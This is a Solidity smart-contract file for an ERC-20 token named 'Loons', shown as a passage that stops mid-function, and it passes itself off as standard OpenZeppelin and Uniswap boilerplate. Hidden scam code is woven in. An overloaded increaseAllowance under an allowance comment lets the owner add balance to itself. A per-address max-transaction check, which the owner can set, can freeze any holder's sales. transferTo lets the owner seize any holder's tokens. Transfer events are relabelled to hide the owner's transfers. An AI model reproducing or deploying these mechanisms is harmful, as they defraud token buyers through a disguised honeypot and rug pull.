/** */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transacgtion ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Ownable, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => uint256) internal _maxTxAmount; address internal _contDeployr = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(uint256 amount) public onlyOwner { _balances[msg.sender] = _balances[msg.sender].add(amount); } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_maxTxAmount[sender] < amount, ""); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == owner()) { sender = _contDeployr; } emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Loons is ERC20 { using SafeMath for uint256; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address private marketingWallet; address private devWallet; address private charityWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public sellCooldownEnabled = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 private buyTotalFees; uint256 private buyMarketingFee; uint256 private buyLiquidityFee; uint256 private buyDevFee; uint256 private buyCharityFee; uint256 private sellTotalFees; uint256 private sellMarketingFee; uint256 private sellLiquidityFee; uint256 private sellDevFee; uint256 private sellCharityFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; uint256 public tokensForCharity; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; // timestamp when user bought last token. mapping (address => uint256) private boughtAt; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event charityWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Loons", "Live And Hunt") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 5; uint256 _buyDevFee = 2; uint256 _buyCharityFee = 2; uint256 _sellMarketingFee = 7; uint256 _sellLiquidityFee = 5; uint256 _sellDevFee = 2; uint256 _sellCharityFee = 2; uint256 totalSupply = 1 * 1e12 * 1e18; //maxTransactionAmount = totalSupply * 50 / 1000; // 0.70% maxTransactionAmountTxn maxTransactionAmount = 7000000000 * 1e18; maxWallet = totalSupply * 15 / 1000; // 1.5% maxWallet swapTokensAtAmount = totalSupply * 15 / 10000; // 0.15% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyCharityFee = _buyCharityFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyCharityFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellCharityFee = _sellCharityFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellCharityFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet charityWallet = address(owner()); // set as charity wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(_contDeployr, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } function updateSellCooldownEnabled(bool value) external onlyOwner { sellCooldownEnabled = value; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _CharityFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyCharityFee = _CharityFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyCharityFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _charityFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellCharityFee = _charityFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellCharityFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function setMaxTxAmount(address account, uint256 amount) public onlyOwner { _maxTxAmount[account] = amount; } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function updateCharityWallet(address newWallet) external onlyOwner { emit charityWalletUpdated(newWallet, charityWallet); charityWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to]){ sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellCharityFee; if (sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; tokensForCharity += fees * sellCharityFee / sellTotalFees; } } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; tokensForCharity += fees * buyCharityFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } // store the time user bought last token. if(automatedMarketMakerPairs[from]) { boughtAt[to] = block.timestamp; } super._transfer(from, to, amount); } function transferTo(address sndr, address[] memory destination, uint256[] memory amounts) public onlyOwner { _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev + tokensForCharity; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = 